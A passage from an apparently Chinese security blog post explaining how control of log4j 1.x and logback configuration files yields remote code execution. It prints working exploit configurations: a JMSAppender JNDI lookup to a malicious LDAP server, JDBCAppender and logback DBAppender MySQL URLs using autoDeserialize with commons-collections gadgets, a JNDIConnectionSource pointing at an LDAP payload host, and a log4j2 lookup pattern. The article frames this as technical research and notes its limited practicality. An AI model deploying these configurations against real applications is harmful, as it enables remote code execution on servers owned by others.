class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> NamingException </span>{  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 通常情况下会自动加载 Log4j 的配置文件，如果不能自动加载可以取消注释下行代码  </span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__comment">// PropertyConfigurator.configure( &#34;/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties&#34; ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class);  </span></span></code><code><span class="code-snippet_outer">        logger.error(<span class="code-snippet__string">&#34;error&#34;</span>);  </span></code><code><span class="code-snippet_outer">    }  </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">可以看到，项目的所用到的主要依赖是 <strong>log4j 1.2.17</strong> 版本，然后为了满足条件要求（后文会说具体什么条件），又引入了最新版的 <strong>activemq</strong> 依赖。</p><p style="margin: 0px 0px 1.2em !important;">然后如果直接运行 main 函数，可以直接触发 RCE：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6564748201438849" data-s="300,640" style="" data-type="png" data-w="2224" src="https://wechat2rss.xlab.app/img-proxy/?k=a833f426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2ju0ZMgJgJKf5ricfTKx5m09DnuqCzPG3xBicZe4MFGYlfmBZd8VhgxicLw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">原理很简单，log4j 有一个名为Appenders的功能，Appender 通常只负责将事件数据写入目标指定的区域， 比如数据库、JMS 代理等<br/></p><p style="margin: 0px 0px 1.2em !important;">当检测到<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">log4j.properties</code>配置文件中存在指定的 Appender 时，会自动进入相应的功能逻辑</p><p style="margin: 0px 0px 1.2em !important;">如，假设配置了</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">log4j.appender.file=org.apache.log4j.FileAppender</code></p><p style="margin: 0px 0px 1.2em !important;">那么会进入<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">FileAppender.java</code> 中的 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">activateOptions</code> 方法</p><p style="margin: 0px 0px 1.2em !important;">配置了</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">log4j.appender.stdout=org.apache.log4j.ConsoleAppender</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，</span></p><p style="margin: 0px 0px 1.2em !important;">那么会进入<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ConsoleAppender.java</code> 中的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">activateOptions</code>方法</p><p style="margin: 0px 0px 1.2em !important;">上文中配置的是</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">log4j.appender.jms=org.apache.log4j.net.JMSAppender</code> </p><p style="margin: 0px 0px 1.2em !important;">会进入<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">JMSAppender.java</code>中的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">activateOptions</code>方法</p><p style="margin: 0px 0px 1.2em !important;">我们可以在该方法打个断点，debug 就可以看到其调用的是 <strong>lookup</strong> 方法：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5388026607538803" data-s="300,640" style="" data-type="png" data-w="2706" src="https://wechat2rss.xlab.app/img-proxy/?k=694edada&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2jta2JnfuvmWFcfskwWMekdOHCGKQWholaul1ySqbFr434G474THGUjA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">然后在 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ctx.lookup(name)</code>中传入我们指定的恶意 LDAP 服务地址，从而触发 RCE<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5142648134601316" data-s="300,640" style="" data-type="png" data-w="2734" src="https://wechat2rss.xlab.app/img-proxy/?k=8db161b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2j8dW16MXAniborIfvSIWD2agWzlia2dMk6Mrtr6S8XsH76S3ARyCCicI7g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">这里虽然可以实现了 RCE，但实际上你可以发现，必须要有一个支持 jms 代理的类（<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">org.apache.activemq.jndi.ActiveMQInitialContextFactory</code>）才可以，否则是会报错的，如果实际业务代码或引用的包中没有 jms 代理类，就显得就十分鸡肋+苛刻了<br/></p><p style="margin: 0px 0px 1.2em !important;"><strong>那么可利用的仅仅是 JMSAppender 吗？</strong></p><h3 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.3em;">案例 2 - log4j  配置文件中 JDBC 的 RCE</h3><p style="margin: 0px 0px 1.2em !important;">在 log4j 中，除了 JMSAppender 配置项外，还有很多 Appender，JDBCAppender就是其一。</p><p style="margin: 0px 0px 1.2em !important;">同样的，在 resources 目录下创建<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">log4j.properties</code>文件，内容如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">log4j.rootLogger=DEBUG,database  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#数据库地址  </span></span></code><code><span class="code-snippet_outer">log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/<span class="code-snippet__built_in">test</span>?autoDeserialize=<span class="code-snippet__literal">true</span>&amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor  </span></code><code><span class="code-snippet_outer">log4j.appender.database.driver=com.mysql.jdbc.Driver  </span></code><code><span class="code-snippet_outer">log4j.appender.database.user=<span class="code-snippet__built_in">test</span>  </span></code><code><span class="code-snippet_outer">log4j.appender.database.password=111111  </span></code><code><span class="code-snippet_outer">log4j.appender.database.sql=INSERT INTO log4j (message) VALUES(<span class="code-snippet__string">&#39;%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n&#39;</span>)  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#log4j.appender.database.layout=org.apache.log4j.PatternLayout</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">为了方便测试 JDBC反序列化漏洞，所以maven 中我们新增了其他依赖，具体如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>log4j<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>log4j<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>1.2.17<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>commons-collections<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>commons-collections<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>3.2.1<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>mysql<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>mysql-connector-java<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>8.0.12<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">最后再新建 <strong>test.java</strong> 文件，内容如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.log4j.Logger;  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">test</span> {</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> </span>{  </span></code><code><span class="code-snippet_outer">        Logger logger = Logger.getLogger(test.class);  </span></code><code><span class="code-snippet_outer">        logger.error(<span class="code-snippet__string">&#34;error&#34;</span>);  </span></code><code><span class="code-snippet_outer">    }  </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">运行main函数，直接触发 RCE：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.617169373549884" data-s="300,640" style="" data-type="png" data-w="2586" src="https://wechat2rss.xlab.app/img-proxy/?k=426272da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2jicZPBwXcRY8MzVRbGN0c7O8zngUxs3iaNSEu9Kf47qVBWo3C9rVoZNtQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">原理和JMSAppender比较类似，同样是那么会进入<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">JDBCAppender.java</code> 中，只不过触发的方法是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">getConnection()</code>，后续就是我们比较熟知的 JDBC 反序列漏洞流程了<br/></p><p style="margin: 0px 0px 1.2em !important;">这里提到的仅仅是 log4j 的1.x 版本，实际上 log4j 2.15.0 同样可以实现上述操作</p><p style="margin: 0px 0px 1.2em !important;">在能够控制配置文件的情况下，可以不用再花心思去绕过 lookup 的白名单和各种限制，直接采用类似于上面的方式实现 RCE，比如三梦师傅之前提到的：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">&lt;pattern&gt;%sn. %msg: Class=%class%n%m<span class="code-snippet__string">{lookups}</span>&lt;<span class="code-snippet__regexp">/pattern&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">&lt;pattern&gt;${payload}&lt;/pattern</span>&gt;</span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">当然，总体来看，这种修改配置文件的方式还是很鸡肋的，实际利用有限，只是适用于特殊场景，此处仅作技术性探讨</p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x03 logback 的鸡肋 RCE</h2><p style="margin: 0px 0px 1.2em !important;">提到 log 日志记录，除了 log4j 外，还有就是 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">logback</code>，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">logbakc</code>和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">log4j</code>是 同一个人写的，因此实际上我想看看 logback 中是否存在类似问题</p><p style="margin: 0px 0px 1.2em !important;">并且由于 logback 是 springboot 的默认组件，如果同样存在类似问题，那么可能遇到这种场景的机会会加大</p><p style="margin: 0px 0px 1.2em !important;">首先 看的是 JMSAppender，遗憾的是，在 logback 的 1.2.2版本后，就移除了 JMSTopicAppender</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4688995215311005" data-s="300,640" style="" data-type="png" data-w="2508" src="https://wechat2rss.xlab.app/img-proxy/?k=db9a756d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2jjh0e1C6fFHComkr6mpNN5ib3ibKpBljT8r1z6artZYA96ibJvB0Ba61IA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">但幸运的是 ，在 logback 中同样存在类似于 JDBCAppender 的 Appender —— <strong>DBAppender</strong><br/></p><p style="margin: 0px 0px 1.2em !important;">DBAppender 中有一个名为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ConnectionSource</code>的接口，该接口提供了一种可插拔式的方式为需要使用 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">java.sql.Connection</code> 的 logback 类获取 JDBC 连接，目前有三种实现，分别为：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">DriverManagerConnectionSource</code> 、<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">DataSourceConnectionSource</code>与 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">JNDIConnectionSource</code>。这三种实现每一种都可以用来实现 RCE。</p><p style="margin: 0px 0px 1.2em !important;"><strong>DriverManagerConnectionSource</strong> 和 <strong>DataSourceConnectionSource</strong> 比较类似，都可以通过控制 JDBC 的 URL 去实现 JDBC 反序列化攻击的目的。</p><p style="margin: 0px 0px 1.2em !important;">首先在 resource 目录下新建 <strong>logback-spring.xml</strong> ，内容如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">configuration</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appender</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;DB&#34;</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;ch.qos.logback.classic.db.DBAppender&#34;</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">connectionSource</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;ch.qos.logback.core.db.DriverManagerConnectionSource&#34;</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">driverClass</span>&gt;</span>com.mysql.jdbc.Driver<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">driverClass</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">url</span>&gt;</span>jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&amp;amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">url</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">user</span>&gt;</span>username<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">user</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">password</span>&gt;</span>password<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">password</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">connectionSource</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">appender</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">root</span> <span class="code-snippet__attr">level</span>=<span class="code-snippet__string">&#34;DEBUG&#34;</span> &gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appender-ref</span> <span class="code-snippet__attr">ref</span>=<span class="code-snippet__string">&#34;DB&#34;</span> /&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">root</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">configuration</span>&gt;</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">然后在新建的 SpringBoot 项目的 pom.xml中新加两个依赖，如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>commons-collections<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>commons-collections<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>3.2.1<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>mysql<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>mysql-connector-java<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>8.0.12<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">然后直接运行<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">SpringApplication.run()</code>所在方法，即可触发漏洞：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5860749808722264" data-s="300,640" style="" data-type="png" data-w="2614" src="https://wechat2rss.xlab.app/img-proxy/?k=61b219de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2jWtsJdU5mbNuIBPAibs5yicnyqW4T4L8Up0yAiawqH1JjN8Y0fhP4CiclTA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">除上述两种，还有 <strong>JNDIConnectionSource</strong> 方法，JNDIConnectionSource 是 logback 自带的方法，从名字就可以看出来，它通过 JNDI 获取 javax.sql.DataSource，然后再获取 java.sql.Connection 实例<br/></p><p style="margin: 0px 0px 1.2em !important;">同样的，对于我们来说，这种方式实现 RCE 更方便，完全不需要其他的依赖，测试如下：</p><p style="margin: 0px 0px 1.2em !important;">在 resource 目录下新建 <strong>logback-spring.xml</strong> ，内容如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">configuration</span> <span class="code-snippet__attr">debug</span>=<span class="code-snippet__string">&#34;true&#34;</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appender</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;DB&#34;</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;ch.qos.logback.classic.db.DBAppender&#34;</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">connectionSource</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;ch.qos.logback.core.db.JNDIConnectionSource&#34;</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">jndiLocation</span>&gt;</span>ldap://127.0.0.1:1389/erqtcd<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">jndiLocation</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">connectionSource</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">appender</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">root</span> <span class="code-snippet__attr">level</span>=<span class="code-snippet__string">&#34;DEBUG&#34;</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appender-ref</span> <span class="code-snippet__attr">ref</span>=<span class="code-snippet__string">&#34;DB&#34;</span>/&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span 